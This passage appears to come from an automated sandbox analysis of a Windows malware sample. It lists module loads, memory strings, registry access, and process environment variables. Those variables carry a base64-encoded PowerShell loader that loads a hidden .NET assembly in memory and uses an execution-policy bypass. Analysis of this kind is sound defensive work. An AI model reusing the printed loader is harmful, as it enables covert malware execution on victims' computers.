71bb0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WINDOWSPOWERSHELL\V1.0\PWRSHSIP.DLL" at base 72f20000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base 719f0000 "powershell.exe" loaded module "CRYPTNET.DLL" at base 719f0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "powershell.exe" loaded module "BCRYPT.DLL" at base 73370000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 73090000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 72830000 "powershell.exe" loaded module "MSCOREE.DLL" at base 73120000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 73020000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 726f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 71c90000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 6fce0000 "powershell.exe" loaded module "AMSI.DLL" at base 73010000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\X86\MPOAV.DLL" at base 72ff0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 6f560000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.MF49F6405#\E7F9E4AF50C666B5FEC85987C303915A\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 71be0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 6f200000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 719d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 6f0f0000 "powershell.exe" loaded module "SECUR32.DLL" at base 71bb0000 "powershell.exe" loaded module "WLDP.DLL" at base 71b90000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\X86\MPCLIENT.DLL" at base 6f050000 "powershell.exe" loaded module "USERENV.DLL" at base 71c60000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\MSISIP.DLL" at base 71970000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WSHEXT.DLL" at base 6f030000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\APPXSIP.DLL" at base 6f000000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WINDOWSPOWERSHELL\V1.0\PWRSHSIP.DLL" at base 71960000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base 6ee80000 "powershell.exe" loaded module "CRYPTNET.DLL" at base 6ee80000 "powershell.exe" loaded module "OLEAUT32" at base 77110000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\DIASYMREADER.DLL" at base 6ed60000 "powershell.exe" loaded module "EXT-MS-WIN-KERNEL32-ERRORHANDLING-L1-1-0.DLL" at base 7404000037:Tbdb,file/memory contains long string with (Indicator: "Join-Path"; File: "QJHJap.ps1") Found string "powershell_ise.exe" (Indicator: "powershell_ise.exe"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "Press Enter to continue...me of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmd" (Indicator: "Send-MailMessage"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "Join-Path" (Indicator: "Join-Path"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "Always resolve file paths using Resolve-Path -Relative." (Indicator: "Resolve-Path"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet.ater than $ConfirmPreference. If $ConfirmPreference is None, actions will only be confirmed when Confirm is specified." (Indicator: "Send-MailMessage"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet." (Indicator: "Send-MailMessage"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "Resolve-Path" (Indicator: "Resolve-Path"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "Write-Output" (Indicator: "Write-Output"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "Show-Command" (Indicator: "Show-Command"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "Trace-Command" (Indicator: "Trace-Command"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "Pop-Location" (Indicator: "Pop-Location"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "Push-Location" (Indicator: "Push-Location"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "Select-String" (Indicator: "Select-String"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "Enter-PSHostProcess" (Indicator: "Enter-PSHostProcess"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "Exit-PSHostProcess" (Indicator: "Exit-PSHostProcess"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "Save-Help" (Indicator: "Save-Help"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "Test-ModuleManifest" (Indicator: "Test-ModuleManifest"; Source: "00000000-00005716.00000000.176793.050A0000.00000004.mdmp") Found string "Write-Error -Message $errorMessage -Category ([System.Management.Automation.ErrorCategory]::InvalidData) -ErrorId "FormatHexResolvePathError"" (Indicator: "Write-Error"; Source: "00000000-00005716.00000000.176793.073E5000.00000004.mdmp")38:T96d,"1544dbca0efc2c0105dd7d52a21a8891.exe" touched "Computer" (Path: "HKCU\WOW6432NODE\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "1544dbca0efc2c0105dd7d52a21a8891.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\WOW6432NODE\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}") "1544dbca0efc2c0105dd7d52a21a8891.exe" touched "Property System Both Class Factory" (Path: "HKCU\WOW6432NODE\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "wscript.exe" touched "UsersFiles" (Path: "HKCU\WOW6432NODE\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "wscript.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\WOW6432NODE\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INSTANCE") "wscript.exe" touched "Shell File System Folder" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "wscript.exe" touched "Known Folder Manager" (Path: "HKCU\WOW6432NODE\CLSID\{4DF0C730-DF9D-4AE3-9153-AA6B82E9795A}\TREATAS") "wscript.exe" touched "Sync root manager" (Path: "HKCU\WOW6432NODE\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}\INSTANCE") "wscript.exe" touched "Property Store over folder final" (Path: "HKCU\WOW6432NODE\CLSID\{0340F119-A598-4ED9-B0AC-6F6A12D3E755}\TREATAS") "wscript.exe" touched "Security Manager" (Path: "HKCU\WOW6432NODE\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "wscript.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") "wscript.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "wscript.exe" touched "VB Script Language" (Path: "HKCU\WOW6432NODE\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\TREATAS") "wscript.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "wscript.exe" touched "Constructor that allows hosts better control creating scriptlets" (Path: "HKCU\WOW6432NODE\CLSID\{06290BD1-48AA-11D2-8432-006008C3FBFC}\TREATAS") "wscript.exe" touched "Windows Script Host Shell Object" (Path: "HKCU\WOW6432NODE\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\TREATAS") "powershell.exe" touched "NDP SymBinder" (Path: "HKCU\WOW6432NODE\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\INPROCSERVER32")39:T588a,Process "wscript.exe" (UID: 00000000-00003468) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64"" Process "wscript.exe" (UID: 00000000-00003468) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "powershell.exe" (UID: 00000000-00005716) was launched with new environment variables: "GOAhpDZonpszAkhZywubLdxcMcqBpeBMJgCgizklWyfKLGQFPR="%USERPROFILE%\QJHJap.ps1", QwYNbJDhGDEDgoaCKCMclSdHmgTnkGNbSnqPMYwNinrNulEQXwQwYNbJDhGDEDgoaCKCMclSdHmgTnkGNbSnqPMYwNinrNulEQXw="eYmvoutDGcCZIVgsuzZMVTpdsqZSIFnXqDcQwvPmbUmejxsvqpeYmvoutDGcCZIVgsuzZMVTpdsqZSIFnXqDcQwvPmbUmejxsvqp-EeYmvoutDGcCZIVgsuzZMVTpdsqZSIFnXqDcQwvPmbUmejxsvqpeYmvoutDGcCZIVgsuzZMVTpdsqZSIFnXqDcQwvPmbUmejxsvqpxeeYmvoutDGcCZIVgsuzZMVTpdsqZSIFnXqDcQwvPmbUmejxsvqpeYmvoutDGcCZIVgsuzZMVTpdsqZSIFnXqDcQwvPmbUmejxsvqpcutieYmvoutDGcCZIVgsuzZMVTpdsqZSIFnXqDcQwvPmbUmejxsvqpeYmvoutDGcCZIVgsuzZMVTpdsqZSIFnXqDcQwvPmbUmejxsvqponPoliceYmvoutDGcCZIVgsuzZMVTpdsqZSIFnXqDcQwvPmbUmejxsvqpeYmvoutDGcCZIVgsuzZMVTpdsqZSIFnXqDcQwvPmbUmejxsvqpy ByeYmvoutDGcCZIVgsuzZMVTpdsqZSIFnXqDcQwvPmbUmejxsvqpeYmvoutDGcCZIVgsuzZMVTpdsqZSIFnXqDcQwvPmbUmejxsvqppass -FieYmvoutDGcCZIVgsuzZMVTpdsqZSIFnXqDcQwvPmbUmejxsvqpeYmvoutDGcCZIVgsuzZMVTpdsqZSIFnXqDcQwvPmbUmejxsvqple "%USERPROFILE%\QJHJap.ps1"", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_64="ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_65="0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2", LIUFIweVbVclDHhtMvPOrqpqYGTfmgOJRdHuySgMwbrxIstWPJ="%USERPROFILE%\temp.bat", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_66="lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZ", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_67="XNzTmFtZSAiY21kIg==", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_60="ICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXB", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_61="yZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_62="NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvY", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_63="WQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5", ALTNGcPlZVxceBtMZjgYNMzFNupFabHisvzQjChQbFayVurVhlALTNGcPlZVxceBtMZjgYNMzFNupFabHisvzQjChQbFayVurVhl="-ExecutionPolicy Bypass -File "%USERPROFILE%\QJHJap.ps1"", PROMPT="$P$G", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_39="SBhYmxlIG5vdCBvbmx5IHRvIGxvdmUgaGlzIGVuZW1pZXMgYnV0IGFs", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_46="RpIGluICRhcnIpeyANCiAgICAgICAgaWYgKCRpIC1ndCAxMjcpIHsgD", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_47="QogICAgICAgICAgICAkZCs9IFtjaGFyXSgkaS0kbykgDQogICAgICAg", HPqLPCrxummxZjOGQuHbQYlifmXNrgmKMxwLvXqZPKfYYyzWVe="%WINDIR%\SysWow64\WindowsPowerShell\v1.0\powershell.exe", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_48="IH0gZWxzZSB7IA0KICAgICAgICAgICAgJGQrPSBbY2hhcl0oJGkrJG8", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_49="pIA0KICAgICAgICB9IA0KICAgIH0gDQogICAgcmV0dXJuICRkIA0KfQ", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_42="N0aW9ucyDigJQgYXMgYXR0ZW1wdHMgdG8gZmluZCBvdXQgc29tZXRoa", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_43="W5nLiBTdWNjZXNzIGFuZCBmYWlsdXJlIGFyZSBmb3IgaGltIGFuc3dl", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_44="cnMgYWJvdmUgYWxsLiINCg0KZnVuY3Rpb24gQ05WKCRhcnIpeyANCiA", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_45="gICAkbz0xMjM7IA0KICAgICRkPSRudWxsOyANCiAgICBmb3JlYWNoKC", KyuybPWitdHfVjXzxxgSugzglMwwHjVIHzPVNtZefrQXRglKNB="ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KIyAiVGhlIHN1cmVzdCB3YXkgdG8gY29ycnVwdCBhIHlvdXRoIGlzIHRvIGluc3RydWN0IGhpbSB0byBob2xkIGluIGhpZ2hlciBlc3RlZW0gdGhvc2Ugd2hvIHRoaW5rIGFsaWtlIHRoYW4gdGhvc2Ugd2hvIHRoaW5rIGRpZmZlcmVudGx5LiINCiMgIkluIGhlYXZlbiwgYWxsIHRoZSBpbnRlcmVzdGluZyBwZW9wbGUgYXJlIG1pc3NpbmcuIg0KIyAiSGUgd2hvIGhhcyBhIHdoeSB0byBsaXZlIGNhbiBiZWFyIGFsbW9zdCBhbnkgaG93LiINCiMgIlRvIGxpdmUgaXMgdG8gc3VmZmVyLCB0byBzdXJ2aXZlIGlzIHRvIGZpbmQgc29tZSBtZWFuaW5nIGluIHRoZSBzdWZmZXJpbmcuIg0KIyAiV2l0aG91dCBtdXNpYywgbGlmZSB3b3VsZCBiZSBhIG1pc3Rha2UuIg0KDQoNCmZ1bmN0aW9uIFJldmVyc2VTdHJpbmcoJGlucHV0U3RyaW5nKSB7DQogICAgJGNoYXJBcnJheSA9ICRpbnB1dFN0cmluZy5Ub0NoYXJBcnJheSgpDQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0NCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheQ0KICAgIHJldHVybiAkcmV2ZXJzZWRTdHJpbmcNCn0NCiMgIlRoZXJlIGlzIGFsd2F5cyBzb21lIG1hZG5lc3MgaW4gbG92ZS4gQnV0IHRoZXJlIGlzIGFsc28gYWx3YXlzIHNvbWUgcmVhc29uIGluIG1hZG5lc3MuIg0KIyAiVGhhdCB3aGljaCBkb2VzIG5vdCBraWxsIHVzIG1ha2VzIHVzIHN0cm9uZ2VyLiINCg0KZnVuY3Rpb24gQ2xvc2UtUHJvY2VzcyB7DQogICAgcGFyYW0oDQogICAgICAgIFtzdHJpbmddJFByb2Nlc3NOYW1lDQogICAgKQ0KDQogICAgJHByb2Nlc3MgPSBHZXQtUHJvY2VzcyAtTmFtZSAkUHJvY2Vzc05hbWUgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWUNCg0KICAgIGlmICgkcHJvY2VzcyAtbmUgJG51bGwpIHsNCiAgICAgICAgU3RvcC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRm9yY2UNCgl9DQp9DQojICJJbiBpbmRpdmlkdWFscywgaW5zYW5pdHkgaXMgcmFyZTsgYnV0IGluIGdyb3VwcywgcGFydGllcywgbmF0aW9ucywgYW5kIGVwb2NocywgaXQgaXMgdGhlIHJ1bGUuIg0KIyAiVGhlIG1hbiBvZiBrbm93bGVkZ2UgbXVzdCBiZSBhYmxlIG5vdCBvbmx5IHRvIGxvdmUgaGlzIGVuZW1pZXMgYnV0IGFsc28gdG8gaGF0ZSBoaXMgZnJpZW5kcy4iDQojICJBIHRoaW5rZXIgc2VlcyBoaXMgb3duIGFjdGlvbnMgYXMgZXhwZXJpbWVudHMgYW5kIHF1ZXN0aW9ucyDigJQgYXMgYXR0ZW1wdHMgdG8gZmluZCBvdXQgc29tZXRoaW5nLiBTdWNjZXNzIGFuZCBmYWlsdXJlIGFyZSBmb3IgaGltIGFuc3dlcnMgYWJvdmUgYWxsLiINCg0KZnVuY3Rpb24gQ05WKCRhcnIpeyANCiAgICAkbz0xMjM7IA0KICAgICRkPSRudWxsOyANCiAgICBmb3JlYWNoKCRpIGluICRhcnIpeyANCiAgICAgICAgaWYgKCRpIC1ndCAxMjcpIHsgDQogICAgICAgICAgICAkZCs9IFtjaGFyXSgkaS0kbykgDQogICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgJGQrPSBbY2hhcl0oJGkrJG8pIA0KICAgICAgICB9IA0KICAgIH0gDQogICAgcmV0dXJuICRkIA0KfQ0KDQoNCiRlbmNvZGVkQXJyYXkgPSBAKDE1OSwyMjAsMjM4LDIzOCwyMjQsMjMyLDIyMSwyMzEsMjQ0LDE2OSwxOTIsMjMzLDIzOSwyMzcsMjQ0LDIwMywyMzQsMjI4LDIzMywyMzksMTY5LDE5NiwyMzMsMjQxLDIzNCwyMzAsMjI0LDE2MywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NCwxODIpDQokZGVjb2RlZFN0cmluZyA9IENOViAkZW5jb2RlZEFycmF5DQoNCg0KJGZpbGVQYXRoID0gSm9pbi1QYXRoICRlbnY6VXNlclByb2ZpbGUgIlFKSEphcC5iYXQiDQokbGFzdExpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_40="c28gdG8gaGF0ZSBoaXMgZnJpZW5kcy4iDQojICJBIHRoaW5rZXIgc2V", gdRHkXMfJqHpyaUUqAFxTqhInhpGjztiSbTbAjazmhTKaemGZJ_41="lcyBoaXMgb3duIGFjdGlvbnMgYXMgZXhwZXJpbWVudHMgYW5kIHF1ZX", ALTNGcPlZVxceBtMZjgYNMzFNupFabHisvzQjChQbFayVurVhl="-command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KIyAiVGhlIHN1cmVzdCB3YXkgdG8gY29ycnVwdCBhIHlvdXRoIGlzIHRvIGluc3RydWN0IGhpbSB0byBob2xkIGluIGhpZ2hlciBlc3RlZW0gdGhvc2Ugd2hvIHRoaW5rIGFsaWtlIHRoYW4gdGhvc2Ugd2hvIHRoaW5rIGRpZmZlcmVudGx5LiINCiMgIkluIGhlYXZlbiwgYWxsIHRoZSBpbnRlcmVzdGluZyBwZW9wbGUgYXJlIG1pc3NpbmcuIg0KIyAiSGUgd2hvIGhhcyBhIHdoeSB0byBsaXZlIGNhbiBiZWFyIGFsbW9zdCBhbnkgaG93LiINCiMgIlRvIGxpdmUgaXMgdG8gc3VmZmVyLCB0byBzdXJ2aXZlIGlzIHRvIGZpbmQgc29tZSBtZWFuaW5nIGluIHRoZSBzdWZmZXJpbmcuIg0KIyAiV2l0aG91dCBtdXNpYywgbGlmZSB3b3VsZCBiZSBhIG1pc3Rha2UuIg0KDQoNCmZ1bmN0aW9uIFJldmVyc2VTdHJpbmcoJGlucHV0U3RyaW5nKSB7DQogICAgJGNoYXJBcnJheSA9ICRpbnB1dFN0cmluZy5Ub0NoYXJBcnJheSgpDQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0NCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheQ0KICAgIHJldHVybiAkcmV2ZXJzZWRTdHJpbmcNCn0NCiMgIlRoZXJlIGlzIGFsd2F5cyBzb21lIG1hZG5lc3MgaW4gbG92ZS4gQnV0IHRoZXJlIGlzIGFsc28gYWx3YXlzIHNvbWUgcmVhc29uIGluIG1hZG5lc3MuIg0KIyAiVGhhdCB3aGljaCBkb2VzIG5vdCBraWxsIHVzIG1ha2VzIHVzIHN0cm9uZ2VyLiINCg0KZnVuY3Rpb24gQ2xvc2UtUHJvY2VzcyB7DQogICAgcGFyYW0oDQogICAgICAgIFtzdHJpbmddJFByb2Nlc3NOYW1lDQogICAgKQ0KDQogICAgJHByb2Nlc3MgPSBHZXQtUHJvY2VzcyAtTmFtZSAkUHJvY2Vzc05hbWUgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWUNCg0KICAgIGlmICgkcHJvY2VzcyAtbmUgJG51bGwpIHsNCiAgICAgICAgU3RvcC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRm9yY2UNCgl9DQp9DQojICJJbiBpbmRpdmlkdWFscywgaW5zYW5pdHkgaXMgcmFyZTsgYnV0IGluIGdyb3VwcywgcGFydGllcywgbmF0aW9ucywgYW5kIGVwb2NocywgaXQgaXMgdGhlIHJ1bGUuIg0KIyAiVGhlIG1hbiBvZiBrbm93bGVkZ2UgbXVzdCBiZSBhYmxlIG5vdCBvbmx5IHRvIGxvdmUgaGlzIGVuZW1pZXMgYnV0IGFsc28gdG8gaGF0ZSBoaXMgZnJpZW5kcy4iDQojICJBIHRoaW5rZXIgc2VlcyBoaXMgb3duIGFjdGlvbnMgYXMgZXhwZXJpbWVudHMgYW5kIHF1ZXN0aW9ucyDigJQgYXMgYXR0ZW1wdHMgdG8gZmluZCBvdXQgc29tZXRoaW5nLiBTdWNjZXNzIGFuZCBmYWlsdXJlIGFyZSBmb3IgaGltIGFuc3dlcnMgYWJvdmUgYWxsLiINCg0KZnVuY3Rpb24gQ05WKCRhcnIpeyANCiAgICAkbz0xMjM7IA0KICAgICRkPSRudWxsOyANCiAgICBmb3JlYWNoKCRpIGluICRhcnIpeyANCiAgICAgICAgaWYgKCRpIC1ndCAxMjcpIHsgDQogICAgICAgICAgICAkZCs9IFtjaGFyXSgkaS0kbykgDQogICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgJGQrPSBbY2hhcl0oJGkrJG8pIA0KICAgICAgICB9IA0KICAgIH0gDQogICAgcmV0dXJuICRkIA0KfQ0KDQoNCiRlbmNvZGVkQXJyYXkgPSBAKDE1OSwyMjAsMjM4LDIzOCwyMjQsMjMyLDIyMSwyMzEsMjQ0LDE2OSwxOTIsMjMzLDIzOSwyMzcsMjQ0LDIwMywyMzQsMjI4LDIzMywyMzksMTY5LDE5NiwyMzMsMjQxLDIzNCwyMzAsMjI0LDE2MywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NCwxODIpDQokZGVjb2RlZFN0cmluZyA9IENOViAkZW5jb2RlZEFycmF5DQoNCg0KJGZpbGVQYXRoID0gSm9pbi1QYXRoICRlbnY6VXNlclByb2ZpbGUgIlFKSEphcC5iYXQiDQokbGFzdExpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN